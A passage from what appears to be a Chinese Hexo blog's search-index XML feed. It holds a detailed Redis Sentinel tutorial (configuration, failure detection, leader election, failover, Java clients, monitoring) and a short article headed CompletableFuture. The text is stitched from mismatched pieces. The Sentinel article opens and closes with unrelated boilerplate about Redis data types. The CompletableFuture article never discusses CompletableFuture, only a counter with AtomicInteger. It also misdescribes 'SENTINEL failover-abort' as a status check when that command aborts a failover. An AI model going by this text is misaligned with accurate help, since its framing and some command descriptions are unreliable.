        <tags>
            
            <tag> JAVA </tag>
            
            <tag> 并发 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Redis哨兵Sentinel高可用</title>
      <link href="//redis-sentinel-high-availability/"/>
      <url>//redis-sentinel-high-availability/</url>
      
        <content type="html"><![CDATA[<h1 id="Redis哨兵Sentinel高可用"><a href="#Redis哨兵Sentinel高可用" class="headerlink" title="Redis哨兵Sentinel高可用"></a>Redis哨兵Sentinel高可用</h1><p>Redis 的五种数据结构各有特色，用对了才能发挥它的优势。很多人只用到了 String 和 Hash，却不知道 List、Set、ZSet 在特定场景下更合适。本文从应用场景出发，讲什么时候用什么类型。</p><h2 id="一、Sentinel架构"><a href="#一、Sentinel架构" class="headerlink" title="一、Sentinel架构"></a>一、Sentinel架构</h2><p>#</p><h2 id="1-1-基本架构"><a href="#1-1-基本架构" class="headerlink" title="1.1 基本架构"></a>1.1 基本架构</h2><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">┌─────────┐    ┌─────────┐    ┌─────────┐</span><br><span class="line">│Sentinel1│───&gt;│Sentinel2│───&gt;│Sentinel3│</span><br><span class="line">│  :26379 │    │  :26379 │    │  :26379 │</span><br><span class="line">└────┬────┘    └────┬────┘    └────┬────┘</span><br><span class="line">     │              │              │</span><br><span class="line">     └──────────────┼──────────────┘</span><br><span class="line">                    │</span><br><span class="line">              ┌─────┴─────┐</span><br><span class="line">              ▼           ▼</span><br><span class="line">         ┌─────────┐  ┌─────────┐</span><br><span class="line">         │  Master │  │  Slave  │</span><br><span class="line">         │  :6379  │  │  :6379  │</span><br><span class="line">         └─────────┘  └─────────┘</span><br></pre></td></tr></table></figure><p>#</p><h2 id="1-2-Sentinel的作用"><a href="#1-2-Sentinel的作用" class="headerlink" title="1.2 Sentinel的作用"></a>1.2 Sentinel的作用</h2><ol><li><strong>监控</strong>：持续检查Master和Slave是否正常运行</li><li><strong>通知</strong>：通过API向管理员或其他应用发送通知</li><li><strong>自动故障转移</strong>：Master故障时，自动将Slave提升为Master</li><li><strong>配置提供者</strong>：为客户端提供当前Master地址</li></ol><h2 id="二、Sentinel配置"><a href="#二、Sentinel配置" class="headerlink" title="二、Sentinel配置"></a>二、Sentinel配置</h2><p>#</p><h2 id="2-1-Sentinel节点配置"><a href="#2-1-Sentinel节点配置" class="headerlink" title="2.1 Sentinel节点配置"></a>2.1 Sentinel节点配置</h2><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line"># sentinel.conf</span><br><span class="line"></span><br><span class="line"># 端口</span><br><span class="line">port 26379</span><br><span class="line"></span><br><span class="line"># Sentinel工作目录</span><br><span class="line">dir /var/lib/redis/sentinel</span><br><span class="line"></span><br><span class="line"># 监控的Master</span><br><span class="line"># sentinel monitor &lt;master-name&gt; &lt;ip&gt; &lt;port&gt; &lt;quorum&gt;</span><br><span class="line">sentinel monitor mymaster 192.168.1.100 6379 2</span><br><span class="line"></span><br><span class="line"># quorum: 判断Master失效需要多少个Sentinel同意</span><br><span class="line"># 如quorum=2，至少2个Sentinel认为Master下线才进行故障转移</span><br><span class="line"></span><br><span class="line"># Master密码（如果Master有密码）</span><br><span class="line">sentinel auth-pass mymaster password</span><br><span class="line"></span><br><span class="line"># 判断Master下线的时间（毫秒）</span><br><span class="line">sentinel down-after-milliseconds mymaster 5000</span><br><span class="line"></span><br><span class="line"># 并行同步的Slave数量</span><br><span class="line">sentinel parallel-syncs mymaster 1</span><br><span class="line"></span><br><span class="line"># 故障转移超时时间</span><br><span class="line">sentinel failover-timeout mymaster 60000</span><br><span class="line"></span><br><span class="line"># 通知脚本（可选）</span><br><span class="line">sentinel notification-script mymaster /var/redis/notify.sh</span><br><span class="line"></span><br><span class="line"># 故障转移后执行的脚本（可选）</span><br><span class="line">sentinel client-reconfig-script mymaster /var/redis/failover.sh</span><br></pre></td></tr></table></figure><p>#</p><h2 id="2-2-启动Sentinel"><a href="#2-2-启动Sentinel" class="headerlink" title="2.2 启动Sentinel"></a>2.2 启动Sentinel</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 方式一</span></span><br><span class="line">redis-sentinel /etc/redis/sentinel.conf</span><br><span class="line"></span><br><span class="line"><span class="comment"># 方式二</span></span><br><span class="line">redis-server /etc/redis/sentinel.conf --sentinel</span><br></pre></td></tr></table></figure><p>#</p><h2 id="2-3-最少Sentinel数量"><a href="#2-3-最少Sentinel数量" class="headerlink" title="2.3 最少Sentinel数量"></a>2.3 最少Sentinel数量</h2><p><strong>推荐至少3个Sentinel</strong>：</p><ul><li>1个：无法判断客观下线（自己说自己）</li><li>2个：如果网络分区，可能出现脑裂</li><li>3个：quorum=2，可以安全地进行故障转移</li></ul><h2 id="三、故障检测机制"><a href="#三、故障检测机制" class="headerlink" title="三、故障检测机制"></a>三、故障检测机制</h2><p>#</p><h2 id="3-1-主观下线（SDOWN）"><a href="#3-1-主观下线（SDOWN）" class="headerlink" title="3.1 主观下线（SDOWN）"></a>3.1 主观下线（SDOWN）</h2><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">每个Sentinel独立判断：</span><br><span class="line"></span><br><span class="line">Sentinel1 ──PING──&gt; Master</span><br><span class="line">    │</span><br><span class="line">    ├── 回复+PONG → 正常</span><br><span class="line">    ├── 回复-LOADING → 正常（正在加载）</span><br><span class="line">    ├── 回复-MASTERDOWN → 正常（Master知晓故障）</span><br><span class="line">    └── 未回复/回复错误 → 主观下线</span><br><span class="line"></span><br><span class="line">判断条件：</span><br><span class="line">- 超过down-after-milliseconds未收到有效回复</span><br></pre></td></tr></table></figure><p>#</p><h2 id="3-2-客观下线（ODOWN）"><a href="#3-2-客观下线（ODOWN）" class="headerlink" title="3.2 客观下线（ODOWN）"></a>3.2 客观下线（ODOWN）</h2><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">Sentinel1发现Master主观下线</span><br><span class="line">    │</span><br><span class="line">    ├── 向其他Sentinel发送：</span><br><span class="line">    │   SENTINEL is-master-down-by-addr &lt;ip&gt; &lt;port&gt; &lt;current_epoch&gt; &lt;runid&gt;</span><br><span class="line">    │</span><br><span class="line">    ├── Sentinel2回复：1（同意）</span><br><span class="line">    ├── Sentinel3回复：1（同意）</span><br><span class="line">    │</span><br><span class="line">    └── 同意数 &gt;= quorum → 客观下线</span><br><span class="line"></span><br><span class="line">注意：</span><br><span class="line">- 需要包括Sentinel自己</span><br><span class="line">- 如quorum=2，需要Sentinel自己+另一个Sentinel同意</span><br></pre></td></tr></table></figure><p>#</p><h2 id="3-3-检测命令"><a href="#3-3-检测命令" class="headerlink" title="3.3 检测命令"></a>3.3 检测命令</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># Sentinel之间通过以下命令通信：</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 1. PING：检测节点存活</span></span><br><span class="line">PING</span><br><span class="line"></span><br><span class="line"><span class="comment"># 2. SENTINEL命令：交换信息</span></span><br><span class="line">SENTINEL is-master-down-by-addr 192.168.1.100 6379 0 *</span><br><span class="line"></span><br><span class="line"><span class="comment"># 3. PUBLISH/SUBSCRIBE：通过__sentinel__:hello频道</span></span><br><span class="line"><span class="comment"># 每个Sentinel定期发布自己的信息和Master状态</span></span><br></pre></td></tr></table></figure><h2 id="四、故障转移流程"><a href="#四、故障转移流程" class="headerlink" title="四、故障转移流程"></a>四、故障转移流程</h2><p>#</p><h2 id="4-1-选举Leader-Sentinel"><a href="#4-1-选举Leader-Sentinel" class="headerlink" title="4.1 选举Leader Sentinel"></a>4.1 选举Leader Sentinel</h2><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">Sentinel发现Master客观下线</span><br><span class="line">    │</span><br><span class="line">    ├── 发送SENTINEL is-master-down-by-addr请求</span><br><span class="line">    │   （带上自己的runid，请求成为Leader）</span><br><span class="line">    │</span><br><span class="line">    ├── 其他Sentinel回复：</span><br><span class="line">    │   如果当前epoch更大 → 拒绝</span><br><span class="line">    │   如果已投票给其他Sentinel → 拒绝</span><br><span class="line">    │   否则 → 同意</span><br><span class="line">    │</span><br><span class="line">    └── 获得多数票（&gt; Sentinel总数/2）→ 成为Leader</span><br><span class="line"></span><br><span class="line">示例：3个Sentinel</span><br><span class="line">- Sentinel1请求成为Leader</span><br><span class="line">- Sentinel2同意</span><br><span class="line">- Sentinel3同意</span><br><span class="line">- Sentinel1获得2票（&gt; 3/2 = 1.5），成为Leader</span><br></pre></td></tr></table></figure><p>#</p><h2 id="4-2-选择新Master"><a href="#4-2-选择新Master" class="headerlink" title="4.2 选择新Master"></a>4.2 选择新Master</h2><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">Leader Sentinel选择新Master：</span><br><span class="line"></span><br><span class="line">1. 筛选条件：</span><br><span class="line">   - Slave必须在线</span><br><span class="line">   - Slave的down-after-milliseconds内有过回复</span><br><span class="line">   </span><br><span class="line">2. 排序规则（优先级从高到低）：</span><br><span class="line">   a. replica-priority最小（配置值）</span><br><span class="line">   b. 复制偏移量最大（数据最新）</span><br><span class="line">   c. RunID最小（字典序）</span><br></pre></td></tr></table></figure><p>#</p><h2 id="4-3-执行故障转移"><a href="#4-3-执行故障转移" class="headerlink" title="4.3 执行故障转移"></a>4.3 执行故障转移</h2><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">1. 对新Master执行：SLAVEOF NO ONE</span><br><span class="line">   → 提升为Master</span><br><span class="line"></span><br><span class="line">2. 对其他Slave执行：SLAVEOF new_master_ip port</span><br><span class="line">   → 重新指向新Master</span><br><span class="line"></span><br><span class="line">3. 更新Sentinel配置</span><br><span class="line">   → 修改sentinel monitor指向新Master</span><br><span class="line"></span><br><span class="line">4. 通知客户端（通过Pub/Sub）</span><br><span class="line">   +switch-master mymaster old_ip old_port new_ip new_port</span><br></pre></td></tr></table></figure><p>#</p><h2 id="4-4-故障转移示例"><a href="#4-4-故障转移示例" class="headerlink" title="4.4 故障转移示例"></a>4.4 故障转移示例</h2><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">初始状态：</span><br><span class="line">Master: 192.168.1.100:6379</span><br><span class="line">Slave:  192.168.1.101:6379</span><br><span class="line">Slave:  192.168.1.102:6379</span><br><span class="line"></span><br><span class="line">Master宕机</span><br><span class="line">    │</span><br><span class="line">    ├── Sentinel检测到客观下线</span><br><span class="line">    │</span><br><span class="line">    ├── 选举Leader Sentinel</span><br><span class="line">    │</span><br><span class="line">    ├── 选择192.168.1.101为新Master</span><br><span class="line">    │   （因为复制偏移量最大）</span><br><span class="line">    │</span><br><span class="line">    ├── 对192.168.1.101：SLAVEOF NO ONE</span><br><span class="line">    │</span><br><span class="line">    ├── 对192.168.1.102：SLAVEOF 192.168.1.101 6379</span><br><span class="line">    │</span><br><span class="line">    └── 通知客户端切换</span><br><span class="line"></span><br><span class="line">最终状态：</span><br><span class="line">Master: 192.168.1.101:6379</span><br><span class="line">Slave:  192.168.1.102:6379</span><br></pre></td></tr></table></figure><h2 id="五、客户端连接"><a href="#五、客户端连接" class="headerlink" title="五、客户端连接"></a>五、客户端连接</h2><p>#</p><h2 id="5-1-Jedis-Sentinel"><a href="#5-1-Jedis-Sentinel" class="headerlink" title="5.1 Jedis Sentinel"></a>5.1 Jedis Sentinel</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Configuration</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">RedisSentinelConfig</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Bean</span></span><br><span class="line">    <span class="keyword">public</span> JedisSentinelPool <span class="title function_">jedisSentinelPool</span><span class="params">()</span> &#123;</span><br><span class="line">        Set&lt;String&gt; sentinels = <span class="keyword">new</span> <span class="title class_">HashSet</span>&lt;&gt;();</span><br><span class="line">        sentinels.add(<span class="string">&quot;192.168.1.100:26379&quot;</span>);</span><br><span class="line">        sentinels.add(<span class="string">&quot;192.168.1.101:26379&quot;</span>);</span><br><span class="line">        sentinels.add(<span class="string">&quot;192.168.1.102:26379&quot;</span>);</span><br><span class="line">        </span><br><span class="line">        <span class="type">JedisPoolConfig</span> <span class="variable">poolConfig</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">JedisPoolConfig</span>();</span><br><span class="line">        poolConfig.setMaxTotal(<span class="number">100</span>);</span><br><span class="line">        poolConfig.setMaxIdle(<span class="number">20</span>);</span><br><span class="line">        </span><br><span class="line">        <span class="keyword">return</span> <span class="keyword">new</span> <span class="title class_">JedisSentinelPool</span>(<span class="string">&quot;mymaster&quot;</span>, sentinels, poolConfig, <span class="string">&quot;password&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 使用</span></span><br><span class="line"><span class="meta">@Autowired</span></span><br><span class="line"><span class="keyword">private</span> JedisSentinelPool pool;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">setValue</span><span class="params">(String key, String value)</span> &#123;</span><br><span class="line">    <span class="keyword">try</span> (<span class="type">Jedis</span> <span class="variable">jedis</span> <span class="operator">=</span> pool.getResource()) &#123;</span><br><span class="line">        jedis.set(key, value);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="5-2-Lettuce-Sentinel"><a href="#5-2-Lettuce-Sentinel" class="headerlink" title="5.2 Lettuce Sentinel"></a>5.2 Lettuce Sentinel</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Configuration</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">RedisConfig</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Bean</span></span><br><span class="line">    <span class="keyword">public</span> RedisConnectionFactory <span class="title function_">redisConnectionFactory</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="type">RedisSentinelConfiguration</span> <span class="variable">sentinelConfig</span> <span class="operator">=</span> </span><br><span class="line">            <span class="keyword">new</span> <span class="title class_">RedisSentinelConfiguration</span>()</span><br><span class="line">                .master(<span class="string">&quot;mymaster&quot;</span>)</span><br><span class="line">                .sentinel(<span class="string">&quot;192.168.1.100&quot;</span>, <span class="number">26379</span>)</span><br><span class="line">                .sentinel(<span class="string">&quot;192.168.1.101&quot;</span>, <span class="number">26379</span>)</span><br><span class="line">                .sentinel(<span class="string">&quot;192.168.1.102&quot;</span>, <span class="number">26379</span>);</span><br><span class="line">        </span><br><span class="line">        sentinelConfig.setPassword(<span class="string">&quot;password&quot;</span>);</span><br><span class="line">        </span><br><span class="line">        <span class="keyword">return</span> <span class="keyword">new</span> <span class="title class_">LettuceConnectionFactory</span>(sentinelConfig);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="5-3-Spring-Boot配置"><a href="#5-3-Spring-Boot配置" class="headerlink" title="5.3 Spring Boot配置"></a>5.3 Spring Boot配置</h2><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="attr">spring:</span></span><br><span class="line">  <span class="attr">redis:</span></span><br><span class="line">    <span class="attr">sentinel:</span></span><br><span class="line">      <span class="attr">master:</span> <span class="string">mymaster</span></span><br><span class="line">      <span class="attr">nodes:</span></span><br><span class="line">        <span class="bullet">-</span> <span class="number">192.168</span><span class="number">.1</span><span class="number">.100</span><span class="string">:26379</span></span><br><span class="line">        <span class="bullet">-</span> <span class="number">192.168</span><span class="number">.1</span><span class="number">.101</span><span class="string">:26379</span></span><br><span class="line">        <span class="bullet">-</span> <span class="number">192.168</span><span class="number">.1</span><span class="number">.102</span><span class="string">:26379</span></span><br><span class="line">    <span class="attr">password:</span> <span class="string">password</span></span><br><span class="line">    <span class="attr">lettuce:</span></span><br><span class="line">      <span class="attr">pool:</span></span><br><span class="line">        <span class="attr">max-active:</span> <span class="number">100</span></span><br><span class="line">        <span class="attr">max-idle:</span> <span class="number">20</span></span><br><span class="line">        <span class="attr">min-idle:</span> <span class="number">5</span></span><br></pre></td></tr></table></figure><h2 id="六、Sentinel管理命令"><a href="#六、Sentinel管理命令" class="headerlink" title="六、Sentinel管理命令"></a>六、Sentinel管理命令</h2><p>#</p><h2 id="6-1-查看状态"><a href="#6-1-查看状态" class="headerlink" title="6.1 查看状态"></a>6.1 查看状态</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 查看Sentinel监控的Master</span></span><br><span class="line">redis-cli -p 26379 SENTINEL masters</span><br><span class="line"></span><br><span class="line"><span class="comment"># 查看特定Master的Slave</span></span><br><span class="line">redis-cli -p 26379 SENTINEL slaves mymaster</span><br><span class="line"></span><br><span class="line"><span class="comment"># 查看Sentinel节点</span></span><br><span class="line">redis-cli -p 26379 SENTINEL sentinels mymaster</span><br><span class="line"></span><br><span class="line"><span class="comment"># 查看Master地址</span></span><br><span class="line">redis-cli -p 26379 SENTINEL get-master-addr-by-name mymaster</span><br><span class="line"></span><br><span class="line"><span class="comment"># 检查故障转移状态</span></span><br><span class="line">redis-cli -p 26379 SENTINEL failover-abort mymaster</span><br></pre></td></tr></table></figure><p>#</p><h2 id="6-2-手动故障转移"><a href="#6-2-手动故障转移" class="headerlink" title="6.2 手动故障转移"></a>6.2 手动故障转移</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 手动触发故障转移（用于维护）</span></span><br><span class="line">redis-cli -p 26379 SENTINEL failover mymaster</span><br><span class="line"></span><br><span class="line"><span class="comment"># 移除Master监控</span></span><br><span class="line">redis-cli -p 26379 SENTINEL remove mymaster</span><br><span class="line"></span><br><span class="line"><span class="comment"># 添加Master监控</span></span><br><span class="line">redis-cli -p 26379 SENTINEL monitor mymaster 192.168.1.100 6379 2</span><br></pre></td></tr></table></figure><h2 id="七、常见问题"><a href="#七、常见问题" class="headerlink" title="七、常见问题"></a>七、常见问题</h2><p>#</p><h2 id="7-1-脑裂问题"><a href="#7-1-脑裂问题" class="headerlink" title="7.1 脑裂问题"></a>7.1 脑裂问题</h2><p><strong>现象</strong>：网络分区导致出现两个Master</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">网络分区前：</span><br><span class="line">  Sentinel1 ── Sentinel2 ── Sentinel3</span><br><span class="line">       │           │           │</span><br><span class="line">    Master ───── Slave1 ──── Slave2</span><br><span class="line"></span><br><span class="line">网络分区后：</span><br><span class="line">  分区A:              分区B:</span><br><span class="line">  Sentinel1          Sentinel2 ── Sentinel3</span><br><span class="line">       │                  │           │</span><br><span class="line">    Master             Slave1 ───── Slave2</span><br><span class="line">  (继续服务)           (提升为Master)</span><br><span class="line"></span><br><span class="line">结果：两个Master同时服务，数据不一致！</span><br></pre></td></tr></table></figure><p><strong>解决</strong>：</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line"># 配置最小Slave数</span><br><span class="line">min-replicas-to-write 1</span><br><span class="line">min-replicas-max-lag 10</span><br><span class="line"></span><br><span class="line"># 这样Master如果没有Slave连接，会停止写入</span><br></pre></td></tr></table></figure><p>#</p><h2 id="7-2-故障转移后客户端连接失败"><a href="#7-2-故障转移后客户端连接失败" class="headerlink" title="7.2 故障转移后客户端连接失败"></a>7.2 故障转移后客户端连接失败</h2><p><strong>原因</strong>：</p><ul><li>客户端缓存了旧的Master地址</li><li>Sentinel通知有延迟</li></ul><p><strong>解决</strong>：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 使用Sentinel模式的客户端库</span></span><br><span class="line"><span class="comment">// 客户端自动从Sentinel获取最新Master地址</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// Jedis Sentinel会自动处理</span></span><br><span class="line"><span class="comment">// Lettuce Sentinel会自动处理</span></span><br></pre></td></tr></table></figure><p>#</p><h2 id="7-3-故障转移频繁触发"><a href="#7-3-故障转移频繁触发" class="headerlink" title="7.3 故障转移频繁触发"></a>7.3 故障转移频繁触发</h2><p><strong>排查</strong>：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 查看Sentinel日志</span></span><br><span class="line"><span class="built_in">tail</span> -f /var/log/redis/sentinel.log</span><br><span class="line"></span><br><span class="line"><span class="comment"># 查看Master状态</span></span><br><span class="line">redis-cli -p 26379 SENTINEL master mymaster</span><br><span class="line"></span><br><span class="line"><span class="comment"># 常见原因：</span></span><br><span class="line"><span class="comment"># 1. down-after-milliseconds设置过小</span></span><br><span class="line"><span class="comment"># 2. 网络不稳定</span></span><br><span class="line"><span class="comment"># 3. Master负载高，响应慢</span></span><br></pre></td></tr></table></figure><p>#</p><h2 id="7-4-Sentinel配置不生效"><a href="#7-4-Sentinel配置不生效" class="headerlink" title="7.4 Sentinel配置不生效"></a>7.4 Sentinel配置不生效</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># Sentinel配置通过SENTINEL SET动态修改后，会自动保存到配置文件</span></span><br><span class="line"><span class="comment"># 但需要确保配置文件可写</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 检查配置文件权限</span></span><br><span class="line"><span class="built_in">ls</span> -la /etc/redis/sentinel.conf</span><br><span class="line"></span><br><span class="line"><span class="comment"># 手动刷新配置</span></span><br><span class="line">redis-cli -p 26379 SENTINEL flush-config</span><br></pre></td></tr></table></figure><h2 id="八、Sentinel监控"><a href="#八、Sentinel监控" class="headerlink" title="八、Sentinel监控"></a>八、Sentinel监控</h2><p>#</p><h2 id="8-1-监控脚本"><a href="#8-1-监控脚本" class="headerlink" title="8.1 监控脚本"></a>8.1 监控脚本</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="meta">#!/bin/bash</span></span><br><span class="line"><span class="comment"># check_sentinel.sh</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> sentinel <span class="keyword">in</span> sentinel1 sentinel2 sentinel3; <span class="keyword">do</span></span><br><span class="line">    status=$(redis-cli -h <span class="variable">$sentinel</span> -p 26379 PING)</span><br><span class="line">    <span class="keyword">if</span> [ <span class="string">&quot;<span class="variable">$status</span>&quot;</span> != <span class="string">&quot;PONG&quot;</span> ]; <span class="keyword">then</span></span><br><span class="line">        <span class="built_in">echo</span> <span class="string">&quot;Sentinel <span class="variable">$sentinel</span> 异常&quot;</span> | mail -s <span class="string">&quot;Sentinel告警&quot;</span> admin@company.com</span><br><span class="line">    <span class="keyword">fi</span></span><br><span class="line"><span class="keyword">done</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 检查Master状态</span></span><br><span class="line">master_info=$(redis-cli -h sentinel1 -p 26379 SENTINEL master mymaster)</span><br><span class="line">flags=$(<span class="built_in">echo</span> <span class="string">&quot;<span class="variable">$master_info</span>&quot;</span> | grep <span class="string">&quot;flags&quot;</span> | <span class="built_in">head</span> -1)</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> <span class="built_in">echo</span> <span class="string">&quot;<span class="variable">$flags</span>&quot;</span> | grep -q <span class="string">&quot;down&quot;</span>; <span class="keyword">then</span></span><br><span class="line">    <span class="built_in">echo</span> <span class="string">&quot;Master mymaster 状态异常: <span class="variable">$flags</span>&quot;</span> | mail -s <span class="string">&quot;Redis Master告警&quot;</span> admin@company.com</span><br><span class="line"><span class="keyword">fi</span></span><br></pre></td></tr></table></figure><p>#</p><h2 id="8-2-Prometheus监控"><a href="#8-2-Prometheus监控" class="headerlink" title="8.2 Prometheus监控"></a>8.2 Prometheus监控</h2><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 使用redis_exporter监控</span></span><br><span class="line"><span class="attr">scrape_configs:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="attr">job_name:</span> <span class="string">&#x27;redis-sentinel&#x27;</span></span><br><span class="line">    <span class="attr">static_configs:</span></span><br><span class="line">      <span class="bullet">-</span> <span class="attr">targets:</span> [<span class="string">&#x27;sentinel1:26379&#x27;</span>, <span class="string">&#x27;sentinel2:26379&#x27;</span>, <span class="string">&#x27;sentinel3:26379&#x27;</span>]</span><br></pre></td></tr></table></figure><h2 id="九、总结"><a href="#九、总结" class="headerlink" title="九、总结"></a>九、总结</h2><table><thead><tr><th>概念</th><th>说明</th></tr></thead><tbody><tr><td>SDOWN</td><td>主观下线，单个Sentinel的判断</td></tr><tr><td>ODOWN</td><td>客观下线，多个Sentinel达成共识</td></tr><tr><td>quorum</td><td>判断ODOWN所需的最小同意数</td></tr><tr><td>epoch</td><td>配置纪元，用于Leader选举和配置版本</td></tr><tr><td>Leader选举</td><td>Raft算法变种，获得多数票的Sentinel成为Leader</td></tr></tbody></table><table><thead><tr><th>配置项</th><th>推荐值</th><th>说明</th></tr></thead><tbody><tr><td>quorum</td><td>Sentinel数/2 + 1</td><td>确保多数同意</td></tr><tr><td>down-after-milliseconds</td><td>5000</td><td>根据网络质量调整</td></tr><tr><td>parallel-syncs</td><td>1-3</td><td>同时同步的Slave数</td></tr><tr><td>failover-timeout</td><td>60000</td><td>故障转移超时</td></tr></tbody></table><p>Sentinel的核心价值：</p><ol><li>自动故障检测（主观下线→客观下线）</li><li>自动故障转移（选举→切换→通知）</li><li>客户端透明（自动获取最新Master）</li><li>多Sentinel保证决策可靠性</li></ol><p>Sentinel的局限：</p><ol><li>只有一个Master写（不能水平扩展写）</li><li>需要至少3个Sentinel保证可靠性</li><li>脑裂问题需要额外配置解决</li><li>故障转移期间有短暂不可用</li></ol><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>String：简单的键值对，适合缓存、计数器</p></li><li><p>Hash：存储对象属性，适合用户信息、配置</p></li><li><p>List：有序列表，适合消息队列、最新列表</p></li><li><p>Set：无序去重，适合共同好友、抽奖</p></li><li><p>ZSet：有序集合，适合排行榜、积分系统</p></li></ol><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>选择合适的数据结构是使用 Redis 的关键。在实际项目中，根据业务需求选择合适的类型，可以提升性能和开发效率。</p>]]></content>
      
      
      <categories>
          
          <category> Redis </category>
          
      </categories>
      
      
        <tags>
            
            <tag> Redis </tag>
            
            <tag> 缓存 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>CompletableFuture 编排异步任务</title>
      <link href="//completablefuture-bian-pai-yi-bu-ren-wu/"/>
      <url>//completablefuture-bian-pai-yi-bu-ren-wu/</url>
      
        <content type="html"><![CDATA[<h1 id="CompletableFuture-编排异步任务"><a href="#CompletableFuture-编排异步任务" class="headerlink" title="CompletableFuture 编排异步任务"></a>CompletableFuture 编排异步任务</h1><p>CompletableFuture 让异步编程更优雅。本文讲它的核心能力和组合方式。</p><h2 id="先建立一个最小案例"><a href="#先建立一个最小案例" class="headerlink" title="先建立一个最小案例"></a>先建立一个最小案例</h2><p>并发问题不要一开始就上复杂业务。可以先准备一个计数器场景：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">class</span> <span class="title class_">Counter</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="type">int</span> <span class="variable">count</span> <span class="operator">=</span> <span class="number">0</span>;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">add</span><span class="params">()</span> &#123;</span><br><span class="line">        count++;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="type">int</span> <span class="title function_">get</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> count;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>这段代码在单线程里没有问题，但多线程同时调用 <code>add()</code> 时，<code>count++</code> 不是原子操作，结果可能比预期小。</p><h2 id="正确处理思路"><a href="#正确处理思路" class="headerlink" title="正确处理思路"></a>正确处理思路</h2><p>如果只是简单计数，可以用 <code>AtomicInteger</code>：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">class</span> <span class="title class_">Counter</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> <span class="type">AtomicInteger</span> <span class="variable">count</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">AtomicInteger</span>();</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">add</span><span class="params">()</span> &#123;</span><br><span class="line">        count.incrementAndGet();</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="type">int</span> <span class="title function_">get</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> count.get();</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>如果临界区里有多步业务逻辑，可以考虑 <code>synchronized</code> 或 <code>ReentrantLock</code>。选择时不要只看性能，先看代码是否清晰、锁范围是否足够小、异常时是否能释放锁。</p><h2 id="排查建议"><a href="#排查建议" class="headerlink" title="排查建议"></a>排查建议</h2><p>线上并发问题通常不稳定复现。可以先看日志里是否有重复请求、状态覆盖、库存扣减异常，再用压测或单元测试构造并发场景。</p>]]></content>
      
      
      <categories>
          
          <category> Java并发 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> 并发 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Redis主从复制原理</title>
      <link href="//redis-master-slave-replication/"/>
      <url>//redis-master-slave-replication/</url>
      
